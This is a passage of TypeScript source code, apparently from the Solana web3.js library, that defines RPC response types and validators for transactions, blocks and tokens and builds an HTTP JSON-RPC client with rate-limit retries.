TransactionReturnDataEncoding];\n};\n\nexport type SimulateTransactionConfig = {\n /** Optional parameter used to enable signature verification before simulation */\n sigVerify?: boolean;\n /** Optional parameter used to replace the simulated transaction's recent blockhash with the latest blockhash */\n replaceRecentBlockhash?: boolean;\n /** Optional parameter used to set the commitment level when selecting the latest block */\n commitment?: Commitment;\n /** Optional parameter used to specify a list of base58-encoded account addresses to return post simulation state for */\n accounts?: {\n /** The encoding of the returned account's data */\n encoding: 'base64';\n addresses: string[];\n };\n /** Optional parameter used to specify the minimum block slot that can be used for simulation */\n minContextSlot?: number;\n /** Optional parameter used to include inner instructions in the simulation */\n innerInstructions?: boolean;\n};\n\nexport type SimulatedTransactionResponse = {\n err: TransactionError | string | null;\n logs: Array<string> | null;\n accounts?: (SimulatedTransactionAccountInfo | null)[] | null;\n unitsConsumed?: number;\n returnData?: TransactionReturnData | null;\n innerInstructions?: ParsedInnerInstruction[] | null;\n};\nconst ParsedInstructionStruct = pick({\n program: string(),\n programId: PublicKeyFromString,\n parsed: unknown(),\n});\n\nconst PartiallyDecodedInstructionStruct = pick({\n programId: PublicKeyFromString,\n accounts: array(PublicKeyFromString),\n data: string(),\n});\n\nconst SimulatedTransactionResponseStruct = jsonRpcResultAndContext(\n pick({\n err: nullable(union([pick({}), string()])),\n logs: nullable(array(string())),\n accounts: optional(\n nullable(\n array(\n nullable(\n pick({\n executable: boolean(),\n owner: string(),\n lamports: number(),\n data: array(string()),\n rentEpoch: optional(number()),\n }),\n ),\n ),\n ),\n ),\n unitsConsumed: optional(number()),\n returnData: optional(\n nullable(\n pick({\n programId: string(),\n data: tuple([string(), literal('base64')]),\n }),\n ),\n ),\n innerInstructions: optional(\n nullable(\n array(\n pick({\n index: number(),\n instructions: array(\n union([\n ParsedInstructionStruct,\n PartiallyDecodedInstructionStruct,\n ]),\n ),\n }),\n ),\n ),\n ),\n }),\n);\n\nexport type ParsedInnerInstruction = {\n index: number;\n instructions: (ParsedInstruction | PartiallyDecodedInstruction)[];\n};\n\nexport type TokenBalance = {\n accountIndex: number;\n mint: string;\n owner?: string;\n programId?: string;\n uiTokenAmount: TokenAmount;\n};\n\n/**\n * Metadata for a parsed confirmed transaction on the ledger\n *\n * @deprecated Deprecated since RPC v1.8.0. Please use {@link ParsedTransactionMeta} instead.\n */\nexport type ParsedConfirmedTransactionMeta = ParsedTransactionMeta;\n\n/**\n * Collection of addresses loaded by a transaction using address table lookups\n */\nexport type LoadedAddresses = {\n writable: Array<PublicKey>;\n readonly: Array<PublicKey>;\n};\n\n/**\n * Metadata for a parsed transaction on the ledger\n */\nexport type ParsedTransactionMeta = {\n /** The fee charged for processing the transaction */\n fee: number;\n /** An array of cross program invoked parsed instructions */\n innerInstructions?: ParsedInnerInstruction[] | null;\n /** The balances of the transaction accounts before processing */\n preBalances: Array<number>;\n /** The balances of the transaction accounts after processing */\n postBalances: Array<number>;\n /** An array of program log messages emitted during a transaction */\n logMessages?: Array<string> | null;\n /** The token balances of the transaction accounts before processing */\n preTokenBalances?: Array<TokenBalance> | null;\n /** The token balances of the transaction accounts after processing */\n postTokenBalances?: Array<TokenBalance> | null;\n /** The error result of transaction processing */\n err: TransactionError | null;\n /** The collection of addresses loaded using address lookup tables */\n loadedAddresses?: LoadedAddresses;\n /** The compute units consumed after processing the transaction */\n computeUnitsConsumed?: number;\n};\n\nexport type CompiledInnerInstruction = {\n index: number;\n instructions: CompiledInstruction[];\n};\n\n/**\n * Metadata for a confirmed transaction on the ledger\n */\nexport type ConfirmedTransactionMeta = {\n /** The fee charged for processing the transaction */\n fee: number;\n /** An array of cross program invoked instructions */\n innerInstructions?: CompiledInnerInstruction[] | null;\n /** The balances of the transaction accounts before processing */\n preBalances: Array<number>;\n /** The balances of the transaction accounts after processing */\n postBalances: Array<number>;\n /** An array of program log messages emitted during a transaction */\n logMessages?: Array<string> | null;\n /** The token balances of the transaction accounts before processing */\n preTokenBalances?: Array<TokenBalance> | null;\n /** The token balances of the transaction accounts after processing */\n postTokenBalances?: Array<TokenBalance> | null;\n /** The error result of transaction processing */\n err: TransactionError | null;\n /** The collection of addresses loaded using address lookup tables */\n loadedAddresses?: LoadedAddresses;\n /** The compute units consumed after processing the transaction */\n computeUnitsConsumed?: number;\n};\n\n/**\n * A processed transaction from the RPC API\n */\nexport type TransactionResponse = {\n /** The slot during which the transaction was processed */\n slot: number;\n /** The transaction */\n transaction: {\n /** The transaction message */\n message: Message;\n /** The transaction signatures */\n signatures: string[];\n };\n /** Metadata produced from the transaction */\n meta: ConfirmedTransactionMeta | null;\n /** The unix timestamp of when the transaction was processed */\n blockTime?: number | null;\n};\n\n/**\n * A processed transaction from the RPC API\n */\nexport type VersionedTransactionResponse = {\n /** The slot during which the transaction was processed */\n slot: number;\n /** The transaction */\n transaction: {\n /** The transaction message */\n message: VersionedMessage;\n /** The transaction signatures */\n signatures: string[];\n };\n /** Metadata produced from the transaction */\n meta: ConfirmedTransactionMeta | null;\n /** The unix timestamp of when the transaction was processed */\n blockTime?: number | null;\n /** The transaction version */\n version?: TransactionVersion;\n};\n\n/**\n * A processed transaction message from the RPC API\n */\ntype MessageResponse = {\n accountKeys: string[];\n header: MessageHeader;\n instructions: CompiledInstruction[];\n recentBlockhash: string;\n addressTableLookups?: ParsedAddressTableLookup[];\n};\n\n/**\n * A confirmed transaction on the ledger\n *\n * @deprecated Deprecated since RPC v1.8.0.\n */\nexport type ConfirmedTransaction = {\n /** The slot during which the transaction was processed */\n slot: number;\n /** The details of the transaction */\n transaction: Transaction;\n /** Metadata produced from the transaction */\n meta: ConfirmedTransactionMeta | null;\n /** The unix timestamp of when the transaction was processed */\n blockTime?: number | null;\n};\n\n/**\n * A partially decoded transaction instruction\n */\nexport type PartiallyDecodedInstruction = {\n /** Program id called by this instruction */\n programId: PublicKey;\n /** Public keys of accounts passed to this instruction */\n accounts: Array<PublicKey>;\n /** Raw base-58 instruction data */\n data: string;\n};\n\n/**\n * A parsed transaction message account\n */\nexport type ParsedMessageAccount = {\n /** Public key of the account */\n pubkey: PublicKey;\n /** Indicates if the account signed the transaction */\n signer: boolean;\n /** Indicates if the account is writable for this transaction */\n writable: boolean;\n /** Indicates if the account key came from the transaction or a lookup table */\n source?: 'transaction' | 'lookupTable';\n};\n\n/**\n * A parsed transaction instruction\n */\nexport type ParsedInstruction = {\n /** Name of the program for this instruction */\n program: string;\n /** ID of the program for this instruction */\n programId: PublicKey;\n /** Parsed instruction info */\n parsed: any;\n};\n\n/**\n * A parsed address table lookup\n */\nexport type ParsedAddressTableLookup = {\n /** Address lookup table account key */\n accountKey: PublicKey;\n /** Parsed instruction info */\n writableIndexes: number[];\n /** Parsed instruction info */\n readonlyIndexes: number[];\n};\n\n/**\n * A parsed transaction message\n */\nexport type ParsedMessage = {\n /** Accounts used in the instructions */\n accountKeys: ParsedMessageAccount[];\n /** The atomically executed instructions for the transaction */\n instructions: (ParsedInstruction | PartiallyDecodedInstruction)[];\n /** Recent blockhash */\n recentBlockhash: string;\n /** Address table lookups used to load additional accounts */\n addressTableLookups?: ParsedAddressTableLookup[] | null;\n};\n\n/**\n * A parsed transaction\n */\nexport type ParsedTransaction = {\n /** Signatures for the transaction */\n signatures: Array<string>;\n /** Message of the transaction */\n message: ParsedMessage;\n};\n\n/**\n * A parsed and confirmed transaction on the ledger\n *\n * @deprecated Deprecated since RPC v1.8.0. Please use {@link ParsedTransactionWithMeta} instead.\n */\nexport type ParsedConfirmedTransaction = ParsedTransactionWithMeta;\n\n/**\n * A parsed transaction on the ledger with meta\n */\nexport type ParsedTransactionWithMeta = {\n /** The slot during which the transaction was processed */\n slot: number;\n /** The details of the transaction */\n transaction: ParsedTransaction;\n /** Metadata produced from the transaction */\n meta: ParsedTransactionMeta | null;\n /** The unix timestamp of when the transaction was processed */\n blockTime?: number | null;\n /** The version of the transaction message */\n version?: TransactionVersion;\n};\n\n/**\n * A processed block fetched from the RPC API\n */\nexport type BlockResponse = {\n /** Blockhash of this block */\n blockhash: Blockhash;\n /** Blockhash of this block's parent */\n previousBlockhash: Blockhash;\n /** Slot index of this block's parent */\n parentSlot: number;\n /** Vector of transactions with status meta and original message */\n transactions: Array<{\n /** The transaction */\n transaction: {\n /** The transaction message */\n message: Message;\n /** The transaction signatures */\n signatures: string[];\n };\n /** Metadata produced from the transaction */\n meta: ConfirmedTransactionMeta | null;\n /** The transaction version */\n version?: TransactionVersion;\n }>;\n /** Vector of block rewards */\n rewards?: Array<{\n /** Public key of reward recipient */\n pubkey: string;\n /** Reward value in lamports */\n lamports: number;\n /** Account balance after reward is applied */\n postBalance: number | null;\n /** Type of reward received */\n rewardType: string | null;\n /** Vote account commission when the reward was credited, only present for voting and staking rewards */\n commission?: number | null;\n }>;\n /** The unix timestamp of when the block was processed */\n blockTime: number | null;\n};\n\n/**\n * A processed block fetched from the RPC API where the `transactionDetails` mode is `accounts`\n */\nexport type AccountsModeBlockResponse = VersionedAccountsModeBlockResponse;\n\n/**\n * A processed block fetched from the RPC API where the `transactionDetails` mode is `none`\n */\nexport type NoneModeBlockResponse = VersionedNoneModeBlockResponse;\n\n/**\n * A block with parsed transactions\n */\nexport type ParsedBlockResponse = {\n /** Blockhash of this block */\n blockhash: Blockhash;\n /** Blockhash of this block's parent */\n previousBlockhash: Blockhash;\n /** Slot index of this block's parent */\n parentSlot: number;\n /** Vector of transactions with status meta and original message */\n transactions: Array<{\n /** The details of the transaction */\n transaction: ParsedTransaction;\n /** Metadata produced from the transaction */\n meta: ParsedTransactionMeta | null;\n /** The transaction version */\n version?: TransactionVersion;\n }>;\n /** Vector of block rewards */\n rewards?: Array<{\n /** Public key of reward recipient */\n pubkey: string;\n /** Reward value in lamports */\n lamports: number;\n /** Account balance after reward is applied */\n postBalance: number | null;\n /** Type of reward received */\n rewardType: string | null;\n /** Vote account commission when the reward was credited, only present for voting and staking rewards */\n commission?: number | null;\n }>;\n /** The unix timestamp of when the block was processed */\n blockTime: number | null;\n /** The number of blocks beneath this block */\n blockHeight: number | null;\n};\n\n/**\n * A block with parsed transactions where the `transactionDetails` mode is `accounts`\n */\nexport type ParsedAccountsModeBlockResponse = Omit<\n ParsedBlockResponse,\n 'transactions'\n> & {\n transactions: Array<\n Omit<ParsedBlockResponse['transactions'][number], 'transaction'> & {\n transaction: Pick<\n ParsedBlockResponse['transactions'][number]['transaction'],\n 'signatures'\n > & {\n accountKeys: ParsedMessageAccount[];\n };\n }\n >;\n};\n\n/**\n * A block with parsed transactions where the `transactionDetails` mode is `none`\n */\nexport type ParsedNoneModeBlockResponse = Omit<\n ParsedBlockResponse,\n 'transactions'\n>;\n\n/**\n * A processed block fetched from the RPC API\n */\nexport type VersionedBlockResponse = {\n /** Blockhash of this block */\n blockhash: Blockhash;\n /** Blockhash of this block's parent */\n previousBlockhash: Blockhash;\n /** Slot index of this block's parent */\n parentSlot: number;\n /** Vector of transactions with status meta and original message */\n transactions: Array<{\n /** The transaction */\n transaction: {\n /** The transaction message */\n message: VersionedMessage;\n /** The transaction signatures */\n signatures: string[];\n };\n /** Metadata produced from the transaction */\n meta: ConfirmedTransactionMeta | null;\n /** The transaction version */\n version?: TransactionVersion;\n }>;\n /** Vector of block rewards */\n rewards?: Array<{\n /** Public key of reward recipient */\n pubkey: string;\n /** Reward value in lamports */\n lamports: number;\n /** Account balance after reward is applied */\n postBalance: number | null;\n /** Type of reward received */\n rewardType: string | null;\n /** Vote account commission when the reward was credited, only present for voting and staking rewards */\n commission?: number | null;\n }>;\n /** The unix timestamp of when the block was processed */\n blockTime: number | null;\n};\n\n/**\n * A processed block fetched from the RPC API where the `transactionDetails` mode is `accounts`\n */\nexport type VersionedAccountsModeBlockResponse = Omit<\n VersionedBlockResponse,\n 'transactions'\n> & {\n transactions: Array<\n Omit<VersionedBlockResponse['transactions'][number], 'transaction'> & {\n transaction: Pick<\n VersionedBlockResponse['transactions'][number]['transaction'],\n 'signatures'\n > & {\n accountKeys: ParsedMessageAccount[];\n };\n }\n >;\n};\n\n/**\n * A processed block fetched from the RPC API where the `transactionDetails` mode is `none`\n */\nexport type VersionedNoneModeBlockResponse = Omit<\n VersionedBlockResponse,\n 'transactions'\n>;\n\n/**\n * A confirmed block on the ledger\n *\n * @deprecated Deprecated since RPC v1.8.0.\n */\nexport type ConfirmedBlock = {\n /** Blockhash of this block */\n blockhash: Blockhash;\n /** Blockhash of this block's parent */\n previousBlockhash: Blockhash;\n /** Slot index of this block's parent */\n parentSlot: number;\n /** Vector of transactions and status metas */\n transactions: Array<{\n transaction: Transaction;\n meta: ConfirmedTransactionMeta | null;\n }>;\n /** Vector of block rewards */\n rewards?: Array<{\n pubkey: string;\n lamports: number;\n postBalance: number | null;\n rewardType: string | null;\n commission?: number | null;\n }>;\n /** The unix timestamp of when the block was processed */\n blockTime: number | null;\n};\n\n/**\n * A Block on the ledger with signatures only\n */\nexport type BlockSignatures = {\n /** Blockhash of this block */\n blockhash: Blockhash;\n /** Blockhash of this block's parent */\n previousBlockhash: Blockhash;\n /** Slot index of this block's parent */\n parentSlot: number;\n /** Vector of signatures */\n signatures: Array<string>;\n /** The unix timestamp of when the block was processed */\n blockTime: number | null;\n};\n\n/**\n * recent block production information\n */\nexport type BlockProduction = Readonly<{\n /** a dictionary of validator identities, as base-58 encoded strings. Value is a two element array containing the number of leader slots and the number of blocks produced */\n byIdentity: Readonly<Record<string, ReadonlyArray<number>>>;\n /** Block production slot range */\n range: Readonly<{\n /** first slot of the block production information (inclusive) */\n firstSlot: number;\n /** last slot of block production information (inclusive) */\n lastSlot: number;\n }>;\n}>;\n\nexport type GetBlockProductionConfig = {\n /** Optional commitment level */\n commitment?: Commitment;\n /** Slot range to return block production for. If parameter not provided, defaults to current epoch. */\n range?: {\n /** first slot to return block production information for (inclusive) */\n firstSlot: number;\n /** last slot to return block production information for (inclusive). If parameter not provided, defaults to the highest slot */\n lastSlot?: number;\n };\n /** Only return results for this validator identity (base-58 encoded) */\n identity?: string;\n};\n\n/**\n * Expected JSON RPC response for the \"getBlockProduction\" message\n */\nconst BlockProductionResponseStruct = jsonRpcResultAndContext(\n pick({\n byIdentity: record(string(), array(number())),\n range: pick({\n firstSlot: number(),\n lastSlot: number(),\n }),\n }),\n);\n\n/**\n * A performance sample\n */\nexport type PerfSample = {\n /** Slot number of sample */\n slot: number;\n /** Number of transactions in a sample window */\n numTransactions: number;\n /** Number of slots in a sample window */\n numSlots: number;\n /** Sample window in seconds */\n samplePeriodSecs: number;\n};\n\nfunction createRpcClient(\n url: string,\n httpHeaders?: HttpHeaders,\n customFetch?: FetchFn,\n fetchMiddleware?: FetchMiddleware,\n disableRetryOnRateLimit?: boolean,\n httpAgent?: NodeHttpAgent | NodeHttpsAgent | false,\n): RpcClient {\n const fetch = customFetch ? customFetch : fetchImpl;\n let agent: NodeHttpAgent | NodeHttpsAgent | undefined;\n if (process.env.BROWSER) {\n if (httpAgent != null) {\n console.warn(\n 'You have supplied an `httpAgent` when creating a `Connection` in a browser environment.' +\n 'It has been ignored; `httpAgent` is only used in Node environments.',\n );\n }\n } else {\n if (httpAgent == null) {\n if (process.env.NODE_ENV !== 'test') {\n const agentOptions = {\n // One second fewer than the Solana RPC's keepalive timeout.\n // Read more: https://github.com/solana-labs/solana/issues/27859#issuecomment-1340097889\n freeSocketTimeout: 19000,\n keepAlive: true,\n maxSockets: 25,\n };\n if (url.startsWith('https:')) {\n agent = new HttpsKeepAliveAgent(agentOptions);\n } else {\n agent = new HttpKeepAliveAgent(agentOptions);\n }\n }\n } else {\n if (httpAgent !== false) {\n const isHttps = url.startsWith('https:');\n if (isHttps && !(httpAgent instanceof NodeHttpsAgent)) {\n throw new Error(\n 'The endpoint `' +\n url +\n '` can only be paired with an `https.Agent`. You have, instead, supplied an ' +\n '`http.Agent` through `httpAgent`.',\n );\n } else if (!isHttps && httpAgent instanceof NodeHttpsAgent) {\n throw new Error(\n 'The endpoint `' +\n url +\n '` can only be paired with an `http.Agent`. You have, instead, supplied an ' +\n '`https.Agent` through `httpAgent`.',\n );\n }\n agent = httpAgent;\n }\n }\n }\n\n let fetchWithMiddleware: FetchFn | undefined;\n\n if (fetchMiddleware) {\n fetchWithMiddleware = async (info, init) => {\n const modifiedFetchArgs = await new Promise<Parameters<FetchFn>>(\n (resolve, reject) => {\n try {\n fetchMiddleware(info, init, (modifiedInfo, modifiedInit) =>\n resolve([modifiedInfo, modifiedInit]),\n );\n } catch (error) {\n reject(error);\n }\n },\n );\n return await fetch(...modifiedFetchArgs);\n };\n }\n\n const clientBrowser = new RpcClient(async (request, callback) => {\n const options = {\n method: 'POST',\n body: request,\n agent,\n headers: Object.assign(\n {\n 'Content-Type': 'application/json',\n },\n httpHeaders || {},\n COMMON_HTTP_HEADERS,\n ),\n };\n\n try {\n let too_many_requests_retries = 5;\n let res: Response;\n let waitTime = 500;\n for (;;) {\n if (fetchWithMiddleware) {\n res = await fetchWithMiddleware(url, options);\n } else {\n res = await fetch(url, options);\n }\n\n if (res.status !== 429 /* Too many requests */) {\n break;\n }\n if (disableRetryOnRateLimit === true) {\n break;\n }\n too_many_requests_retries -= 1;\n if (too_many_requests_retries === 0) {\n break;\n }\n console.error(\n `Server responded with ${res.status} ${res.statusText}. Retrying after ${waitTime}ms delay...`,\n );\n await sleep(waitTime);\n waitTime *= 2;\n }\n\n const text = await res.text();\n if (res.ok) {\n callback(null, text);\n } else {\n callback(new Error(`${res.status} ${res.statusText}: ${text}`));\n }\n } catch (err) {\n if (err instanceof Error) callback(err);\n }\n }, {});\n\n return clientBrowser;\n}\n\nfunction createRpcRequest(client: RpcClient): RpcRequest {\n return (method, args) => {\n return new Promise((resolve, reject) => {\n client.request(method, args, (err: any, response: any) => {\n if (err) {\n reject(err);\n return;\n }\n resolve(response);\n });\n });\n };\n}\n\nfunction createRpcBatchRequest(client: RpcClient): RpcBatchRequest {\n return (requests: RpcParams[]) => {\n return new Promise((resolve, reject) => {\n // Do nothing if requests is empty\n if (requests.length === 0) resolve([]);\n\n const batch = requests.map((params: RpcParams) => {\n return client.request(params.methodName, params.args);\n });\n\n client.request(batch, (err: any, response: any) => {\n if (err) {\n reject(err);\n return;\n }\n resolve(response);\n });\n });\n };\n}\n\n/**\n * Expected JSON RPC response for the \"getInflationGovernor\" message\n */\nconst GetInflationGovernorRpcResult = jsonRpcResult(GetInflationGovernorResult);\n\n/**\n * Expected JSON RPC response for the \"getInflationRate\" message\n */\nconst GetInflationRateRpcResult = jsonRpcResult(GetInflationRateResult);\n\n/**\n * Expected JSON RPC response for the \"getRecentPrioritizationFees\" message\n */\nconst GetRecentPrioritizationFeesRpcResult = jsonRpcResult(\n GetRecentPrioritizationFeesResult,\n);\n\n/**\n * Expected JSON RPC response for the \"getEpochInfo\" message\n */\nconst GetEpochInfoRpcResult = jsonRpcResult(GetEpochInfoResult);\n\n/**\n * Expected JSON RPC response for the \"getEpochSchedule\" message\n */\nconst GetEpochScheduleRpcResult = jsonRpcResult(GetEpochScheduleResult);\n\n/**\n * Expected JSON RPC response for the \"getLeaderSchedule\" message\n */\nconst GetLeaderScheduleRpcResult = jsonRpcResult(GetLeaderScheduleResult);\n\n/**\n * Expected JSON RPC response for the \"minimumLedgerSlot\" and \"getFirstAvailableBlock\" messages\n */\nconst SlotRpcResult = jsonRpcResult(number());\n\n/**\n * Supply\n */\nexport type Supply = {\n /** Total supply in lamports */\n total: number;\n /** Circulating supply in lamports */\n circulating: number;\n /** Non-circulating supply in lamports */\n nonCirculating: number;\n /** List of non-circulating account addresses */\n nonCirculatingAccounts: Array<PublicKey>;\n};\n\n/**\n * Expected JSON RPC response for the \"getSupply\" message\n */\nconst GetSupplyRpcResult = jsonRpcResultAndContext(\n pick({\n total: number(),\n circulating: number(),\n nonCirculating: number(),\n nonCirculatingAccounts: array(PublicKeyFromString),\n }),\n);\n\n/**\n * Token amount object which returns a token amount in different formats\n * for various client use cases.\n */\nexport type TokenAmount = {\n /** Raw amount of tokens as string ignoring decimals */\n amount: string;\n /** Number of decimals configured for token's mint */\n decimals: number;\n /** Token amount as float, accounts for decimals */\n uiAmount: number | null;\n /** Token amount as string, accounts for decimals */\n uiAmountString?: string;\n};\n\n/**\n * Expected JSON RPC structure for token amounts\n */\nconst TokenAmountResult = pick({\n amount: string(),\n uiAmount: nullable(number()),\n decimals: number(),\n uiAmountString: optional(string()),\n});\n\n/**\n * Token address and balance.\n */\nexport type TokenAccountBalancePair = {\n /** Address of the token account */\n address: PublicKey;\n /** Raw amount of tokens as string ignoring decimals */\n amount: string;\n /** Number of decimals configured for token's mint */\n decimals: number;\n /** Token amount as float, accounts for decimals */\n uiAmount: number | null;\n /** Token amount as string, accounts for decimals */\n uiAmountString?: string;\n};\n\n/**\n * Expected JSON RPC response for the \"getTokenLargestAccounts\" message\n */\nconst GetTokenLargestAccountsResult = jsonRpcResultAndContext(\n array(\n pick({\n address: PublicKeyFromString,\n amount: string(),\n uiAmount: nullable(number()),\n decimals: number(),\n uiAmountString: optional(string()),\n }),\n ),\n);\n\n/**\n * Expected JSON RPC response for the \"getTokenAccountsByOwner\" message\n */\nconst GetTokenAccountsByOwner = jsonRpcResultAndContext(\n array(\n pick({\n pubkey: PublicKeyFromString,\n account: pick({\n executable: boolean(),\n owner: PublicKeyFromString,\n lamports: number(),\n data: BufferFromRawAccountData,\n rentEpoch: number(),\n }),\n }),\n ),\n);\n\nconst ParsedAccountDataResult = pick({\n program: string(),\n parsed: unknown(),\n space: number(),\n});\n\n/**\n * Expected JSON RPC response for the \"getTokenAccountsByOwner\" message with parsed data\n */\nconst GetParsedTokenAccountsByOwner = jsonRpcResultAndContext(\n array(\n pick({\n pubkey: PublicKeyFromString,\n account: pick({\n executable: boolean(),\n owner: PublicKeyFromString,\n lamports: number(),\n data: ParsedAccountDataResult,\n rentEpoch: number(),\n }),\n }),\n ),\n);\n\n/**\n * Pair of an account address and its balance\n */\nexport type AccountBalancePair = {\n address: PublicKey;\n lamports: number;\n};\n\n/**\n * Expected JSON RPC response for the \"getLargestAccounts\" message\n */\nconst GetLargestAccountsRpcResult = jsonRpcResultAndContext(\n array(\n pick({\n lamports: number(),\n address: PublicKeyFromString,\n }),\n ),\n);\n\n/**\n * @internal\n */\nconst AccountInfoResult = pick({\n executable: boolean(),\n owner: PublicKeyFromString,\n lamports: number(),\n data: BufferFromRawAccountData,\n rentEpoch: number(),\n});\n\n/**\n * @internal\n */\nconst KeyedAccountInfoResult = pick({\n pubkey: PublicKeyFromString,\n account: AccountInfoResult,\n});\n\nconst ParsedOrRawAccountData = coerce(\n union([instance(Buffer), ParsedAccountDataResult]),\n union([RawAccountDataResult, ParsedAccountDataResult]),\n value => {\n if (Array.isArray(value)) {\n return create(value, BufferFromRawAccountData);\n } else {\n return value;\n }\n },\n);\n\n/**\n * @internal\n */\nconst ParsedAccountInfoResult = pick({\n executable: boolean(),\n owner: PublicKeyFromString,\n lamports: number(),\n data: ParsedOrRawAccountData,\n rentEpoch: number(),\n});\n\nconst KeyedParsedAccountInfoResult = pick({\n pubkey: PublicKeyFromString,\n account: ParsedAccountInfoResult,\n});\n\n/**\n * @internal\n */\nconst StakeActivationResult = pick({\n state: union([\n literal('active'),\n literal('inactive'),\n literal('activating'),\n literal('deactivating'),\n ]),\n active: number(),\n inactive: number(),\n});\n\n/**\n * Expected JSON RPC response for the \"getConfirmedSignaturesForAddress2\" message\n */\n\nconst GetConfirmedSignaturesForAddress2RpcResult = jsonRpcResult(\n array(\n pick({\n signature: string(),\n slot: number(),\n err: TransactionErrorResult,\n memo: nullable(string()),\n blockTime: optional(nullable(number())),\n }),\n ),\n);\n\n/**\n * Expected JSON RPC response for the \"getSignaturesForAddress\" message\n */\nconst GetSignaturesForAddressRpcResult = jsonRpcResult(\n array(\n pick({\n signature: string(),\n slot: number(),\n err: TransactionErrorResult,\n memo: nullable(string()),\n blockTime: optional(nullable(number())),\n }),\n ),\n);\n\n/***\n * Expected JSON RPC response for the \"accountNotification\" message\n */\nconst AccountNotificationResult = pick({\n subscription: number(),\n result: notificationResultAndContext(AccountInfoResult),\n});\n\n/**\n * @internal\n */\nconst ProgramAccountInfoResult = pick({\n pubkey: PublicKeyFromString,\n account: AccountInfoResult,\n});\n\n/***\n * Expected JSON RPC response for the \"programNotification\" message\n */\nconst ProgramAccountNotificationResult = pick({\n subscription: number(),\n result: notificationResultAndContext(ProgramAccountInfoResult),\n});\n\n/**\n * @internal\n */\nconst SlotInfoResult = pick({\n parent: number(),\n slot: number(),\n root: number(),\n});\n\n/**\n * Expected JSON RPC response for the \"slotNotification\" message\n */\nconst SlotNotificationResult = pick({\n subscription: number(),\n result: SlotInfoResult,\n});\n\n/**\n * Slot updates which can be used for tracking the live progress of a cluster.\n * - `\"firstShredReceived\"`: connected node received the first shred of a block.\n * Indicates that a new block that is being produced.\n * - `\"completed\"`: connected node has received all shreds of a block. Indicates\n * a block was recently produced.\n * - `\"optimisticConfirmation\"`: block was optimistically confirmed by the\n * cluster. It is not guaranteed that an optimistic confirmation notification\n * will be sent for every finalized blocks.\n * - `\"root\"`: the connected node rooted this block.\n * - `\"createdBank\"`: the connected node has started validating this block.\n * - `\"frozen\"`: the connected node has validated this block.\n * - `\"dead\"`: the connected node failed to validate this block.\n */\nexport type SlotUpdate =\n | {\n type: 'firstShredReceived';\n slot: number;\n timestamp: number;\n }\n | {\n type: 'completed';\n slot: number;\n timestamp: number;\n }\n | {\n type: 'createdBank';\n slot: number;\n timestamp: number;\n parent: number;\n }\n | {\n type: 'frozen';\n slot: number;\n timestamp: number;\n stats: {\n numTransactionEntries: number;\n numSuccessfulTransactions: number;\n numFailedTransactions: number;\n maxTransactionsPerEntry: number;\n };\n }\n | {\n type: 'dead';\n slot: number;\n timestamp: number;\n err: string;\n }\n | {\n type: 'optimisticConfirmation';\n slot: number;\n timestamp: number;\n }\n | {\n type: 'root';\n slot: number;\n timestamp: number;\n };\n\n/**\n * @internal\n */\nconst SlotUpdateResult = union([\n pick({\n type: union([\n literal('firstShredReceived'),\n literal('completed'),\n literal('optimisticConfirmation'),\n literal('root'),\n ]),\n slot: number(),\n timestamp: number(),\n }),\n pick({\n type: literal('createdBank'),\n parent: number(),\n slot: number(),\n timestamp: number(),\n }),\n pick({\n type: literal('frozen'),\n slot: number(),\n timestamp: number(),\n stats: pick({\n numTransactionEntries: number(),\n numSuccessfulTransactions: number(),\n numFailedTransactions: number(),\n maxTransactionsPerEntry: number(),\n }),\n }),\n pick({\n type: literal('dead'),\n slot: number(),\n timestamp: number(),\n err: string(),\n }),\n]);\n\n/**\n * Expected JSON RPC response for the \"slotsUpdatesNotification\" message\n */\nconst SlotUpdateNotificationResult = pick({\n subscription: number(),\n result: SlotUpdateResult,\n});\n\n/**\n * Expected JSON RPC response for the \"signatureNotification\" message\n */\nconst SignatureNotificationResult = pick({\n subscription: number(),\n result: notificationResultAndContext(\n union([SignatureStatusResult, SignatureReceivedResult]),\n ),\n});\n\n/**\n * Expected JSON RPC response for the \"rootNotification\" message\n */\nconst RootNotificationResult = pick({\n subscription: number(),\n result: number(),\n});\n\nconst ContactInfoResult = pick({\n pubkey: string(),\n gossip: nullable(string()),\n tpu: nullable(string()),\n rpc: nullable(string()),\n version: nullable(string()),\n});\n\nconst VoteAccountInfoResult = pick({\n votePubkey: string(),\n nodePubkey: string(),\n activatedStake: number(),\n epochVoteAccount: boolean(),\n epochCredits: array(tuple([number(), number(), number()])),\n commission: number(),\n lastVote: number(),\n rootSlot: nullable(number()),\n});\n\n/**\n * Expected JSON RPC response for the \"getVoteAccounts\" message\n */\nconst GetVoteAccounts = jsonRpcResult(\n pick({\n current: array(VoteAccountInfoResult),\n delinquent: array(VoteAccountInfoResult),\n }),\n);\n\nconst ConfirmationStatus = union([\n literal('processed'),\n literal('confirmed'),\n literal('finalized'),\n]);\n\nconst SignatureStatusResponse = pick({\n slot: number(),\n confirmations: nullable(number()),\n err: TransactionErrorResult,\n confirmationStatus: optional(ConfirmationStatus),\n});\n\n/**\n * Expected JSON RPC response for the \"getSignatureStatuses\" message\n */\nconst GetSignatureStatusesRpcResult = jsonRpcResultAndContext(\n array(nullable(SignatureStatusResponse)),\n);\n\n/**\n * Expected JSON RPC response for the \"getMinimumBalanceForRentExemption\" message\n */\nconst GetMinimumBalanceForRentExemptionRpcResult = jsonRpcResult(number());\n\nconst AddressTableLookupStruct = pick({\n accountKey: PublicKeyFromString,\n writableIndexes: array(number()),\n readonlyIndexes: array(number()),\n});\n\nconst ConfirmedTransactionResult = pick({\n signatures: array(string()),\n message: pick({\n accountKeys: array(string()),\n header: pick({\n numRequiredSignatures: number(),\n numReadonlySignedAccounts: number(),\n numReadonlyUnsignedAccounts: number(),\n }),\n instructions: array(\n pick({\n accounts: array(number()),\n data: string(),\n programIdIndex: number(),\n }),\n ),\n recentBlockhash: string(),\n addressTableLookups: optional(array(AddressTableLookupStruct)),\n }),\n});\n\nconst AnnotatedAccountKey = pick({\n pubkey: PublicKeyFromString,\n signer: boolean(),\n writable: boolean(),\n source: optional(union([literal('transaction'), literal('lookupTable')])),\n});\n\nconst ConfirmedTransactionAccountsModeResult = pick({\n accountKeys: array(AnnotatedAccountKey),\n signatures: array(string()),\n});\n\nconst ParsedInstructionResult = pick({\n parsed: unknown(),\n program: string(),\n programId: PublicKeyFromString,\n});\n\nconst RawInstructionResult = pick({\n accounts: array(PublicKeyFromString),\n data: string(),\n programId: PublicKeyFromString,\n});\n\nconst InstructionResult = union([\n RawInstructionResult,\n ParsedInstructionResult,\n]);\n\nconst UnknownInstructionResult = union([\n pick({\n parsed: unknown(),\n program: string(),\n programId: string(),\n }),\n pick({\n accounts: array(string()),\n data: string(),\n programId: string(),\n 